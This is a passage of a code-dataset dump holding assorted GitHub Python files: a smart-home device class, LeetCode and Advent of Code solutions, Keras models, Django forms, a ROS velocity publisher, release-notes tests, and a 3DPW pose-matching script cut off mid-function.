\"error_message\": f\"{type(ex).__name__}: {str(ex)}\"\n }\n }\n })\n\n return result\n\n def getDeviceInfo(self, id):\n result = {'id': id, 'capabilities': []}\n # Load device config\n device_info = self.__get_device_by_id(id)\n\n for capability in device_info['capabilities']:\n result['capabilities'].append(capability)\n return result\n\n def __get_device_by_id(self, id):\n for device in self.devices:\n if device['id'] == id:\n return device\n return None\n\n#Получает устройства из файлов\n def __get_device(self):\n\n directory = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"data\")\n\n file_paths = listFiles(directory)\n\n for file_path in file_paths:\n print(file_path)\n if file_path.endswith('.json'):\n with open(file_path, 'r', encoding=\"utf-8\") as file:\n device = json.load(file)\n device_id = os.path.splitext(os.path.basename(file_path))[0] # Extract id from filename\n device['id'] = device_id # Add id to device\n print(device)\n self.devices.append(device)\n\n def __del__(self):\n\n self.client.loop_stop()\n\n\n","repo_name":"kseilons/smart-home-severnaya","sub_path":"app/devices/devices.py","file_name":"devices.py","file_ext":"py","file_size_in_byte":6140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10707261020","text":"class Solution:\n def trap(self,height):\n n = len(height)\n max_left = [0] * n\n max_right = [0] * n\n max_left[0] = height[0]\n max_right[-1] = height[-1]\n # 找位置i左边最大值\n for i in range(1, n):\n max_left[i] = max(height[i-1], max_left[i - 1])\n # 找位置i右边最大值\n for i in range(n - 2, -1, -1):\n max_right[i] = max(height[i+1], max_right[i + 1])\n sum=0\n for i in range(n):\n sum += max(0,min(max_left[i], max_right[i]) - height[i])\n return sum\n\n\n\nheight=[5,4,1,2]\ns=Solution()\nprint(s.trap(height))","repo_name":"watermelon-lee/leetcode","sub_path":"code/42.接雨水.py","file_name":"42.接雨水.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"26253139487","text":"from users.models import User\nimport random\n\n\ndef get_suggestions(current_user):\n suggestions = []\n user = User.objects.prefetch_related(\n 'profile', 'follows').get(username=current_user)\n for following in user.profile.follows.all():\n for follow_following in following.profile.follows.all():\n if follow_following in suggestions or follow_following == user:\n continue\n if follow_following in user.profile.follows.all():\n continue\n suggestions.append(follow_following)\n if len(suggestions) >= 5:\n return random.sample(suggestions, 5)\n else:\n return suggestions\n","repo_name":"E4crypt3d/TheWizzo","sub_path":"users/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"13381077915","text":"from keras import Sequential\nfrom keras.models import Model\nfrom keras.layers import Input, Dense, Activation, Flatten, Conv1D, Conv2D, Conv3D, Embedding, MaxPooling1D, Lambda, concatenate, Reshape, Permute, LSTM\nfrom keras.layers import Dropout, MaxPooling2D\nfrom keras.initializers import Constant\nfrom keras import regularizers\nimport keras\nimport tensorflow as tf\nimport numpy as np\n\n\ndef create_model_ngrams(max_length, num_outputs, num_chars, NGRAM_SIZE) :\n\n\tEMBEDDING_DIM = 300\n\tFILTERS = 50\n\tinput_dim = max_length-NGRAM_SIZE+1\n\n\treg = regularizers.l2(0.0)\n\n\t## Input Layer\n\tinput_layer = Input(shape=(input_dim,))\n\n\tembedding = Embedding(input_dim=num_chars**NGRAM_SIZE, output_dim=EMBEDDING_DIM, input_length=input_dim)(input_layer)\n\tembedding = Dropout(0.5)(embedding)\n\t\n\tx = Conv1D(FILTERS, kernel_size= 3, activation='sigmoid', kernel_regularizer=reg)(embedding)\n\tx = MaxPooling1D(input_dim - 2)(x)\n\ty = Conv1D(FILTERS, kernel_size= 4, activation='sigmoid', kernel_regularizer=reg)(embedding)\n\ty = MaxPooling1D(input_dim - 3)(y)\n\tz = Conv1D(FILTERS, kernel_size= 5, activation='sigmoid', kernel_regularizer=reg)(embedding)\n\tz = MaxPooling1D(input_dim - 4)(z)\n\n\toutput = concatenate([x, y, z])\n\n\toutput = Flatten()(output)\n\n\treturn [input_layer, output]\n\ndef create_model_word2vec(max_length, num_outputs, num_words, EMBEDDING_DIM, embedding_matrix) :\n\n\tinput_layer = Input(shape=(max_length,))\n\n\tx = Embedding(num_words,\n EMBEDDING_DIM,\n weights=[embedding_matrix],\n input_length=max_length,\n\t\t\ttrainable=False)(input_layer)\n\n\ty = Embedding(num_words,\n EMBEDDING_DIM,\n weights=[embedding_matrix],\n input_length=max_length,\n\t\t\ttrainable=True)(input_layer)\n\n\tz = concatenate([x, y], axis=1)\n\n\tz = Conv1D(filters=250, kernel_size=3, activation='relu')(z)\n\tz = MaxPooling1D(2)(z)\n\n\tz = Conv1D(filters=250, kernel_size=4, activation='relu')(z)\n\tz = MaxPooling1D(2)(z)\n\n\tz = Conv1D(filters=500, kernel_size=5, activation='relu')(z)\n\tz = MaxPooling1D(2)(z)\n\n\tz = Dropout(0.5)(z)\n\n\tz = Flatten()(z)\n\n\tz = Dense(512, activation='relu')(z)\n\tz = Dropout(0.5)(z)\n\t\n\treturn [input_layer, z]\n\n\t\ndef create_model_wordcount(num_words, num_outputs) :\n\t\n\tinput_layer = Input(shape=(num_words,))\n\n\tx = Dense(2048, activation='relu')(input_layer)\n\n\tx = Dense(64, activation='relu')(x)\n\tx = Dropout(0.8)(x)\n\n\treturn [input_layer, x]\n\ndef create_model_ngrams_lstm(max_length, num_outputs, num_chars, NGRAM_SIZE):\n\t## Input Layer\n\tinput_layer = Input(shape=(max_length-NGRAM_SIZE+1,))\n\n\tembedding = Embedding(input_dim=num_chars**NGRAM_SIZE, output_dim=300, input_length=max_length-NGRAM_SIZE+1)(input_layer)\n\tembedding = Dropout(0.25)(embedding)\n\t\n\t#Architecture but with single LSTM layer\n\tx = Conv1D(500, kernel_size=5, activation=\"relu\")\n\tx = LSTM(50)(embedding)\n\t#x = MaxPooling1D(max_length-NGRAM_SIZE+1 - 2)(x)\n\t#x = Reshape((500,))(x)\n\n\t#output = Flatten()(x)\n\toutput = Dense(num_outputs, activation='relu')(x)\n\t\n\treturn [input_layer, output]\n\ndef concat_models(layers, num_classes) :\n\n\tinputs = list()\n\toutputs = list()\n\tfor x in layers :\n\t\tinputs.append(x[0])\n\t\toutputs.append(x[1])\n\n\tif len(inputs) > 1 :\n\t\tx = concatenate(outputs)\n\telse :\n\t\tx = outputs[0]\n\n\tx = Dense(num_classes, activation='softmax', kernel_regularizer=regularizers.l2(0.0))(x)\n\n\treturn Model(inputs=inputs, outputs=x)\n\n","repo_name":"adam-norris/DeepLearning_Project","sub_path":"Code/trainer/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21446141832","text":"import importlib\nimport unittest\n\n# This script should be run from PathToRepo/sonic/python/tools\n# Try to general utils code\ntry:\n spec = importlib.util.spec_from_file_location(\"mod\", \"../../../python/2015/day1.py\")\n\n day1 = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(day1)\n\nexcept FileNotFoundError as e:\n print(e)\n print(\"Failed importing AoC 2015 day1\")\n exit(-1)\n\n\nclass AoC2015Day1Test(unittest.TestCase):\n def setUp(self):\n self.__class__.day1 = None\n\n def test_given_inputs_floor_number(self):\n self.__class__.day1 = day1.Day1()\n\n input_strings = [\"(())\", \"()()\", \"(((\", \"(()(()(\", \"))(((((\", \"())\", \"))(\", \")))\", \")())())\"]\n\n expected_floor_outputs = [0, 0, 3, 3, 3, -1, -1, -3, -3]\n\n expected_initial_floor = 0\n\n for input_string, expected_floor_output in zip(input_strings, expected_floor_outputs):\n self.__class__.day1.reset()\n\n self.assertEqual(expected_initial_floor, self.__class__.day1.get_floor())\n\n self.__class__.day1.calc_floor(input_string)\n\n actual_floor = self.__class__.day1.get_floor()\n\n self.assertEqual(expected_floor_output, actual_floor)\n\n def test_given_inputs_basement_iteration(self):\n self.__class__.day1 = day1.Day1()\n\n input_strings = [\")\", \"()())\", \"(\"]\n\n expected_basement_iteration_not_found = 0\n\n expected_basement_outputs = [1, 5, expected_basement_iteration_not_found]\n\n for input_string, expected_basement_output in zip(input_strings, expected_basement_outputs):\n self.__class__.day1.reset()\n\n self.assertEqual(expected_basement_iteration_not_found, self.__class__.day1.get_basement_interation())\n\n self.__class__.day1.calc_floor(input_string)\n\n actual_basement_value = self.__class__.day1.get_basement_interation()\n\n self.assertEqual(expected_basement_output, actual_basement_value)\n\n def test_bad_inputs(self):\n self.__class__.day1 = day1.Day1()\n\n expected_bad_data_exception = \"Invalid data type given\"\n expected_bad_char_exception = \"Invalid char\"\n\n try:\n self.__class__.day1.calc_floor(1)\n self.assertTrue(False, \"Exception not thrown\")\n except day1.AoC2015Day1Exception as excep:\n self.assertTrue(expected_bad_data_exception in str(excep))\n\n try:\n self.__class__.day1.calc_floor(\"Lobster Thermidor and Spam\")\n self.assertTrue(False, \"Exception not thrown\")\n except day1.AoC2015Day1Exception as excep:\n self.assertTrue(expected_bad_char_exception in str(excep))\n","repo_name":"ConanSherlock/CodingExercises","sub_path":"test/unit_tests/python_tests/day1_tests.py","file_name":"day1_tests.py","file_ext":"py","file_size_in_byte":2660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25203439761","text":"from flask import Flask, render_template, request\nfrom fish import fishify\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n text = request.args.get(\"eng_text\")\n fish_text = fishify(text)\n\n return render_template(\"index.html\", text=(text or \"\"), fish_text=fish_text)\n\n\n\nif __name__ == \"__main__\":\n app.run(\"0.0.0.0\", port=8080)","repo_name":"Kochanac/wildfish_ctf_2022","sub_path":"crypto/defish/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"11405340232","text":"#HashTable, very good for lookups and is a ds that maps keys to value.\n'''\nHashtable is very good for when we want to do quick lookups,insertion or deletion, otherwise is not a convenient ds to use\nBig(0)\nAccess\ninsert:O(1)\ndeletion:O(1)\nsearch:O(1)\n\n'''\nCAPACITY = 50\n\nclass Node:\n def __init(self,key,value):\n self.key = key\n self.value = value\n self.next= None\n\nclass HashTable:\n def __init(self):\n self.capacity = CAPACITY\n self.size = 0\n self.buckets = [None] * self.capacity\n\n def hash(self,key):\n hashSum = 0\n for index, i in enumerate(key):\n hashSum+= (index + len(key) ** ord(i))\n hashSum = hashSum % self.capacity\n\n def insert(self,key,value):\n self.size +=1\n index = self.hash(key)\n node = self.buckets[index]\n if node is None:\n self.buckets[index] = Node(key,value)\n return\n prev = node\n while node is not None:\n prev = node\n node = node.next\n prev.next = Node(key,value)\n\n def find(self,key):\n index = self.hash(key)\n node = self.buckets[index]\n while node is not None and node.key != key:\n node = node.next\n if node is None:\n return None\n else:\n return node.value\n\n def remove(self,key):\n index = self.hash(key)\n node = self.buckets[index]\n while node is not None and node.key != key:\n prev = node\n node = node.next\n if node is None:\n return None\n else:\n self.size -=1\n result = node.value\n if prev is None:\n node = None\n else:\n prev.next = prev.next.next\n return result\n\n\n\n\n \n","repo_name":"AisosaUtieyin/Interview","sub_path":"hashTable.py","file_name":"hashTable.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70443265105","text":"lang = input('Ваш яп: ')\nage = int(input('Ваш возраст: '))\nexp = int(input('Ваш опыт: '))\nsalary = int(input('Желаемая зарплата: '))\nif lang == 'python' or lang == 'java' or lang == 'javascript':\n if 18 < age < 65 and exp >= 3:\n if salary <= 60000:\n print('Вы нам подходите!')\nelse:\n print('Вы не подходите!')","repo_name":"ArtemSoldat1995/NightbootcampLC","sub_path":"Задания/собеседование.py","file_name":"собеседование.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42298731395","text":"#!/usr/bin/env python\n\n# Distributed under the MIT License.\n# See LICENSE.txt for details.\n\nimport os\nimport textwrap\nimport unittest\n\nimport git\nimport yaml\n\nfrom tools.CompileReleaseNotes import (\n PullRequest,\n compile_release_notes,\n get_last_release,\n get_merged_pull_requests,\n get_upgrade_instructions,\n)\n\n\nclass TestCompileReleaseNotes(unittest.TestCase):\n def test_get_last_release(self):\n repo = git.Repo(path=__file__, search_parent_directories=True)\n with open(\n os.path.join(repo.working_dir, \"Metadata.yaml\"), \"r\"\n ) as open_metadata_file:\n metadata = yaml.safe_load(open_metadata_file)\n expected_tag_name = \"v\" + metadata[\"Version\"]\n last_release = get_last_release(repo, head_rev=\"HEAD\")\n self.assertEqual(\n str(last_release),\n expected_tag_name,\n (\n f\"The last release '{last_release}' doesn't match the expected \"\n f\"tag name '{expected_tag_name}' listed in the repo metadata.\"\n ),\n )\n also_last_release = get_last_release(repo, head_rev=last_release)\n self.assertEqual(\n last_release,\n also_last_release,\n (\n f\"Should find the last release '{last_release}' when HEAD is\"\n f\" the release tag, but found '{also_last_release}'.\"\n ),\n )\n earlier_release = get_last_release(\n repo, head_rev=str(last_release) + \"~1\"\n )\n self.assertNotEqual(\n earlier_release,\n last_release,\n (\n \"Should find an earlier release when HEAD is before \"\n f\"'{last_release}', not the same release.\"\n ),\n )\n\n def test_get_merged_pull_requests(self):\n repo = git.Repo(path=__file__, search_parent_directories=True)\n last_release = get_last_release(repo)\n last_merge_commit = next(\n repo.iter_commits(rev=last_release, min_parents=2)\n )\n merged_prs = get_merged_pull_requests(\n repo,\n from_rev=(str(last_merge_commit) + \"~1\"),\n to_rev=last_merge_commit,\n )\n self.assertTrue(\n len(merged_prs) > 0,\n (\n \"Failed to parse pull request corresponding to last merge \"\n f\"commit before release {last_release}: '{last_merge_commit}' \"\n ),\n )\n\n def test_get_upgrade_instructions(self):\n upgrade_instructions = get_upgrade_instructions(textwrap.dedent(\"\"\"\\\n ### Upgrade instructions\n Here's what you should do when rebasing on this PR:\n \n - Add the option `Evolution.InitialTime` to evolution input files.\n Set it to the value `0.` to keep the behavior the same as before.\n \n \"\"\"))\n self.assertEqual(\n upgrade_instructions,\n (\n \"- Add the option `Evolution.InitialTime` to evolution input\"\n \" files.\\n Set it to the value `0.` to keep the behavior the\"\n \" same as before.\"\n ),\n )\n self.assertIsNone(\n get_upgrade_instructions(\n \" \"\n ),\n \"Not all whitespace is stripped\",\n )\n self.assertIsNone(\n get_upgrade_instructions(\n \"\\n\"\n ),\n \"Not all whitespace is stripped\",\n )\n self.assertEqual(\n get_upgrade_instructions(\n \"\\n\\n\\n Do this and that.\"\n \" \\n\\n\"\n ),\n \"Do this and that.\",\n \"Not all whitespace is stripped\",\n )\n\n def test_compile_release_notes(self):\n self.assertEqual(\n compile_release_notes([]),\n textwrap.dedent(\"\"\"\\\n ## Merged pull-requests (0)\n\n _None_\n \"\"\"),\n )\n pr1 = PullRequest(id=1, title=\"Add this\", author=\"author1\")\n pr2 = PullRequest(\n id=2,\n title=\"Also add this new feature\",\n author=\"author2\",\n url=\"https://github.com/2\",\n )\n self.assertEqual(\n compile_release_notes([pr1, pr2]),\n textwrap.dedent(\"\"\"\\\n ## Merged pull-requests (2)\n\n **General changes (2):**\n\n - Add this (#1)\n - Also add this new feature ([#2](https://github.com/2))\n\n Contributors (2): @author1, @author2\n \"\"\"),\n )\n major_pr1 = PullRequest(\n id=3,\n title=\"This is big\",\n author=\"author2\",\n group=\"new feature\",\n upgrade_instructions=\"- Do this.\\n- And that.\",\n )\n major_pr2 = PullRequest(\n id=4, title=\"Another feature\", author=\"author3\", group=\"new feature\"\n )\n bugfix_pr1 = PullRequest(\n id=5,\n title=\"Fixed this bug\",\n author=\"author3\",\n url=\"https://github.com/5\",\n group=\"bugfix\",\n upgrade_instructions=\"You'll have to rerun your simulation.\",\n )\n bugfix_pr2 = PullRequest(\n id=6, title=\"Fixed another bug\", author=\"author1\", group=\"bugfix\"\n )\n self.assertEqual(\n compile_release_notes(\n [pr1, major_pr1, pr2, bugfix_pr1, bugfix_pr2, major_pr2]\n ),\n textwrap.dedent(\"\"\"\\\n ## Upgrade instructions\n\n **From #3 (This is big):**\n\n - Do this.\n - And that.\n\n **From [#5](https://github.com/5) (Fixed this bug):**\n\n You'll have to rerun your simulation.\n\n ## Merged pull-requests (6)\n\n **New features (2):**\n\n - This is big (#3)\n - Another feature (#4)\n\n **General changes (2):**\n\n - Add this (#1)\n - Also add this new feature ([#2](https://github.com/2))\n\n **Bugfixes (2):**\n\n - Fixed this bug ([#5](https://github.com/5))\n - Fixed another bug (#6)\n\n Contributors (3): @author1, @author2, @author3\n \"\"\"),\n )\n\n\nif __name__ == \"__main__\":\n unittest.main(verbosity=2)\n","repo_name":"sxs-collaboration/spectre","sub_path":"tests/tools/Test_CompileReleaseNotes.py","file_name":"Test_CompileReleaseNotes.py","file_ext":"py","file_size_in_byte":6607,"program_lang":"python","lang":"en","doc_type":"code","stars":135,"dataset":"github-code","pt":"48"} +{"seq_id":"22438654929","text":"##\n#\t이 프로그램은 명왕성까지 빛이 가는 시간을 계산한다. \n#\nspeed = 300000.0\t\t\t# 빛의 속도\ndistance = 4800000000.0\t\t# 거리\nsecs = distance / speed\t\t# 걸리는 시간, 단위는 초\t\nsecs = int(secs)\t\t\t# 부동소수점수->정수 변환\ntime = secs // 3600\t\t\t# 초를 시간으로 변환, //은 정수 나눗셈\nminute = (secs % 3600) // 60\t\t# 남은 초를 분으로 변환\nprint(time, \"시간\", minute, \"분\")\n","repo_name":"peterchokr/python","sub_path":"src/chap03/p98_pluto.py","file_name":"p98_pluto.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"30701011449","text":"#!/usr/bin/env python3\nimport rospy\nfrom geometry_msgs.msg import Twist\nimport time\nimport math\nimport numpy as np\n\n\ndef send_vel(path, radius, w_dist, step):\n\n rospy.init_node('robot_talker', anonymous=True)\n pub = rospy.Publisher('/cmd_vel', Twist, queue_size=1)\n msg = Twist()\n dir = [1, 0]\n\n for i in range(1, len(path)):\n new_dir = [path[i][0] - path[i-1][0], path[i][1] - path[i-1][1]]\n th = math.atan2(((new_dir[0] * dir[1]) - (new_dir[1] * dir[0]))\n , (new_dir[0]*dir[0]) + (new_dir[1]*dir[1]))\n\n th = -round(th * 180/3.14)\n dist = round(np.linalg.norm(np.array(path[i])- np.array(path[i-1])))/3\n # dist = round(math.dist(path[i], path[i-1]))\n print('goint to point: ', path[i])\n cnt = 0\n while cnt < abs(th*1.9):\n cnt += 1\n if th < 0:\n ang_v = -0.105\n else:\n ang_v = 0.105\n publishMsg(msg, 0, ang_v, pub)\n cnt = 0\n while cnt < dist*10:\n cnt += 1\n lin_v = 0.1\n publishMsg(msg, lin_v, 0, pub)\n publishMsg(msg, 0, 0, pub)\n dir = new_dir\n return True\n\n\ndef publishMsg(msg, lin_v, ang_v, pub):\n\n msg.angular.z = ang_v\n msg.angular.x = 0\n msg.angular.y = 0\n msg.linear.x = lin_v\n msg.linear.y = 0\n msg.linear.z = 0\n pub.publish(msg)\n time.sleep(0.1)","repo_name":"Madhunc5229/rrt-star-for-delivery-robot","sub_path":"src/rosnode1.py","file_name":"rosnode1.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"17882039860","text":"from django import forms\nfrom .models import LibtechTag,Muster,GenericReport\n\nclass LibtechTagForm(forms.ModelForm):\n class Meta:\n model = LibtechTag\n fields = [ \n 'name',\n 'description'\n ]\n def clean(self,*args,**kwargs):\n data=self.cleaned_data\n name=data.get(\"name\",None)\n description=data.get(\"description\",None)\n if name is None and description is None:\n raise forms.ValidationError('Name of description required')\n return super().clean(*args,**kwargs)\n\n\n\nclass GenericReportForm(forms.ModelForm):\n class Meta:\n model = GenericReport\n fields = [\n 'name',\n 'description',\n 'libtechTag',\n ]\n def clean(self,*args,**kwargs):\n data=self.cleaned_data\n name=data.get(\"name\",None)\n description=data.get(\"description\",None)\n if name is None and description is None:\n raise forms.ValidationError('Name or description required')\n return super().clean(*args,**kwargs)\n\n\n\n","repo_name":"rajesh241/libtechDjango","sub_path":"src/nrega/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5261533497","text":"from base_dataclass import Base\n\n# inherited class decleration\nclass StatChannel(Base):\n \n table_name:str = locals()['__qualname__']\n \n guild_id:str = ''\n toggle:int = -1\n stat_channel_id:str = ''\n \n meta_data:dict = locals()['__annotations__']\n meta_data['super'] = {\n 'primary_key': ['guild_id'],\n 'defaults': {\n 'toggle': 1\n }\n }\n \n # helper\n def set_data(self):\n self.data = {\n 'guild_id': self.guild_id,\n 'toggle': self.toggle,\n 'stat_channel_id': self.stat_channel_id\n }\n def load(self):\n self.set_data()\n tmp = self.callback_read(self.table_name, self.data, self.meta_data)\n self.guild_id = tmp[0]\n self.toggle = tmp[1]\n self.stat_channel_id = tmp[2]\n ### Hidden ###\n def __init__(self) -> None:\n super().__init__()\n self.data = self.set_data()\n \n def create(self):\n self.set_data()\n self.callback_create(self.table_name, self.data, self.meta_data)\n \n def read(self):\n self.set_data()\n return self.callback_read(self.table_name, self.data, self.meta_data)\n \n def update(self):\n self.set_data()\n self.callback_update(self.table_name, self.data, self.meta_data)\n \n def delete(self):\n self.set_data()\n self.callback_delete(self.table_name, self.data, self.meta_data)\n ##############","repo_name":"piyushsatti/nonagon","sub_path":"src/dataclasses/stat_channel_dataclass.py","file_name":"stat_channel_dataclass.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31528165071","text":"import os.path as osp\nimport torch\nimport numpy as np\nimport copy\nimport cv2\nimport json\nimport torchvision.transforms as transforms\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nfrom pycocotools.coco import COCO\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport glob\n\n\n\nclass PW3D(torch.utils.data.Dataset):\n def __init__(self, get_crowd):\n self.get_crowd = get_crowd\n self.data_split = 'validation' if self.get_crowd else 'test' # data_split\n self.data_path = osp.join('..', 'data', 'PW3D', 'data')\n\n self.coco_joints_name = (\n 'Nose', 'L_Eye', 'R_Eye', 'L_Ear', 'R_Ear', 'L_Shoulder', 'R_Shoulder', 'L_Elbow', 'R_Elbow', 'L_Wrist',\n 'R_Wrist', 'L_Hip', 'R_Hip', 'L_Knee', 'R_Knee', 'L_Ankle', 'R_Ankle') # 17\n self.openpose_joints_name = (\n 'Nose', 'Neck', 'R_Shoulder', 'R_Elbow', 'R_Wrist', 'L_Shoulder', 'L_Elbow', 'L_Wrist', 'R_Hip', 'R_Knee',\n 'R_Ankle', 'L_Hip', 'L_Knee', 'L_Ankle', 'R_Eye', 'L_Eye', 'R_Ear', 'L_Ear') # 18\n # Neck???\n self.openpose_joints_name = ('Nose', 'Neck', 'R_Shoulder', 'R_Elbow', 'R_Wrist', 'L_Shoulder', 'L_Elbow', 'L_Wrist', 'R_Hip', 'R_Knee', 'R_Ankle', 'L_Hip', 'L_Knee', 'L_Ankle', 'R_Eye', 'L_Eye', 'R_Ear', 'L_Ear', 'Pelvis')\n\n self.smpl_joints_name = ('Pelvis', 'L_Hip', 'R_Hip', 'Torso', 'L_Knee', 'R_Knee', 'Spine', 'L_Ankle', 'R_Ankle', 'Chest', 'L_Toe', 'R_Toe', 'Neck', 'L_Thorax', 'R_Thorax', 'Head', 'L_Shoulder', 'R_Shoulder',\n 'L_Elbow', 'R_Elbow', 'L_Wrist', 'R_Wrist', 'L_Hand', 'R_Hand')\n self.coco_skeleton = ( (1, 2), (0, 1), (0, 2), (2, 4), (1, 3), (6, 8), (8, 10), (5, 7), (7, 9), (12, 14), (14, 16), (11, 13), (13, 15), (5, 6), (11, 12) )\n\n self.datalist = self.load_data()\n print(\"data len: \", len(self.datalist))\n\n def load_data(self):\n db = COCO(osp.join(self.data_path, '3DPW_latest_' + self.data_split + '.json'))\n\n if self.get_crowd:\n with open(osp.join(self.data_path, f'3DPW_{self.data_split}_crowd_yolo_result.json')) as f:\n yolo_bbox = json.load(f)\n else:\n with open(osp.join(self.data_path, '3DPW_test_yolo_result.json')) as f:\n yolo_bbox = json.load(f)\n\n datalist = []\n aid_keys = sorted(yolo_bbox.keys(), key=lambda x: int(x)) if self.get_crowd else db.anns.keys()\n for aid in aid_keys:\n aid = int(aid)\n ann = db.anns[aid]\n image_id = ann['image_id']\n img = db.loadImgs(image_id)[0]\n sequence_name = img['sequence']\n img_name = img['file_name']\n img_path = osp.join(self.data_path, 'imageFiles', sequence_name, img_name)\n cam_param = {k: np.array(v, dtype=np.float32) for k, v in img['cam_param'].items()}\n\n openpose = np.array(ann['openpose_result'], dtype=np.float32).reshape(-1, 3)\n openpose = transform_joint_to_other_db(openpose, self.openpose_joints_name, self.coco_joints_name)\n\n \"\"\"\n # TEMP\n centerpose = temp_result[str(aid)]['coco_joints']\n centerpose = np.array(centerpose).reshape(-1,2)\n\n tmpimg = cv2.imread(img_path)\n oimg = vis_keypoints(tmpimg, openpose)\n cv2.imshow('openpose', oimg/255)\n cv2.waitKey(0)\n cimg = vis_keypoints(tmpimg, centerpose)\n cv2.imshow('centerpose', cimg / 255)\n cv2.waitKey(0)\n import pdb; pdb.set_trace()\n \"\"\"\n\n smpl_joints = np.array(ann['joint_img']).reshape(-1,2)\n smpl_joints = np.concatenate((smpl_joints, np.ones_like(smpl_joints[:, :1])), axis=1)\n bbox = get_bbox(smpl_joints, np.ones_like(smpl_joints[:, 0]), extend_ratio=1.1)\n bbox[2], bbox[3] = bbox[0] + bbox[2], bbox[1] + bbox[3]\n\n smplpose = transform_joint_to_other_db(smpl_joints, self.smpl_joints_name, self.coco_joints_name)\n\n img_name = sequence_name + '_' + img_name\n data_dict = {'img_path': img_path, 'img_name': img_name, 'img_id': image_id, 'ann_id': aid,\n 'img_shape': (img['height'], img['width']),\n 'bbox': bbox, 'openpose': openpose, 'smplpose': smplpose}\n\n datalist.append(data_dict)\n\n return datalist\n\n def __len__(self):\n return len(self.datalist)\n\n def __getitem__(self, idx):\n pass\n\n def getitem(self, idx):\n data = copy.deepcopy(self.datalist[idx])\n img_name, img_shape, img_id, aid = data['img_name'], data['img_shape'], data['img_id'], data['ann_id']\n\n # for prediction matching\n openpose, smplpose = data['openpose'], data['smplpose']\n\n # img_path = data['img_path']\n # tmpimg = cv2.imread(img_path)\n # oimg = vis_keypoints_with_skeleton(tmpimg, openpose.T, self.coco_skeleton)\n # cv2.imshow('openpose', oimg/255)\n # cv2.waitKey(0)\n # simg = vis_keypoints_with_skeleton(tmpimg, smplpose.T, self.coco_skeleton)\n # cv2.imshow('smplpose', simg / 255)\n # cv2.waitKey(0)\n # import pdb; pdb.set_trace()\n\n return data['img_path'], img_name, img_id, aid, openpose, smplpose\n\n\nclass PoseMatcher:\n def __init__(self, dataloader):\n self.dataloader = dataloader\n result_path = '/home/hongsukchoi/projects/pytorch_Realtime_Multi-Person_Pose_Estimation' # '/home/redarknight/projects/HHRNet/output/3dpw/test'\n self.candidates = self.load_2dpose_results(result_path)\n\n def run(self):\n output_list = []\n for idx in range(len(self.dataloader)):\n img_path, img_name, img_id, aid, openpose, smplpose = self.dataloader.getitem(idx)\n candidates = self.candidates[img_name]\n\n output = {}\n output['candidates'] = candidates\n output['target'] = {\n 'openpose': openpose,\n 'smplpose': smplpose\n }\n output['meta'] = {\n 'aid': aid,\n 'img_id': img_id,\n 'img_path': img_path\n }\n\n output_list.append(output)\n\n output_list = filter_bbox(output_list)\n\n save_output(output_list)\n\n def load_2dpose_results(self, result_path):\n result_jsons = glob.glob(f'{result_path}/*.json')\n\n hhrnet_results = {}\n for rj in result_jsons:\n with open(rj) as f:\n pose_outputs = json.load(f)\n\n prefix = 'openpose_result_' # 'higher_hrnet_result_'\n seq_name = rj.split(prefix)[-1][:-5]\n for img_name in sorted(pose_outputs.keys()):\n pose_candidates = pose_outputs[img_name]\n try:\n pose_candidates = np.asarray(pose_candidates, dtype=np.float32)[:,:,:3]\n except IndexError: # when the result is empty\n pose_candidates = []\n img_name = seq_name + '_' + img_name\n\n hhrnet_results[img_name] = pose_candidates\n\n return hhrnet_results\n\n\n# open pose valid joint compare\ndef filter_bbox(output_list):\n result = {}\n for out in output_list:\n candidates = out['candidates']\n openpose_from_dataset = out['target']['openpose']\n smplpose_from_dataset = out['target']['smplpose']\n aid = out['meta']['aid']\n img_id = out['meta']['img_id']\n img_path = out['meta']['img_path']\n\n if len(candidates) == 0:\n continue\n\n valid_openpose_joints = (openpose_from_dataset[:, 2] > 0.1) # eye has low scores, 17: [1,1,1,...0,0]\n valid_smplpose_joints = (smplpose_from_dataset[:, 2] > 0.0)\n ref_bbox = get_bbox(smplpose_from_dataset, valid_smplpose_joints, 1.0)\n ref_err = min(ref_bbox[2], ref_bbox[3]) * (1/15)\n\n match_idx = 0\n err = ref_err # pixel\n for idx in range(len(candidates)):\n pred_pose = candidates[idx]\n valid_pred_joints = (pred_pose[:, 2] > 0.1)\n valid_idx = (valid_smplpose_joints * valid_pred_joints).nonzero()[0]\n l1_err = np.abs(pred_pose[valid_idx, :2] - smplpose_from_dataset[valid_idx, :2])\n if l1_err.size == 0:\n continue\n\n euc_dst = np.sqrt((l1_err**2).sum(axis=1)).mean()\n\n if euc_dst < err:\n match_idx = idx\n err = euc_dst\n\n if err == ref_err:\n continue\n \"\"\"\n 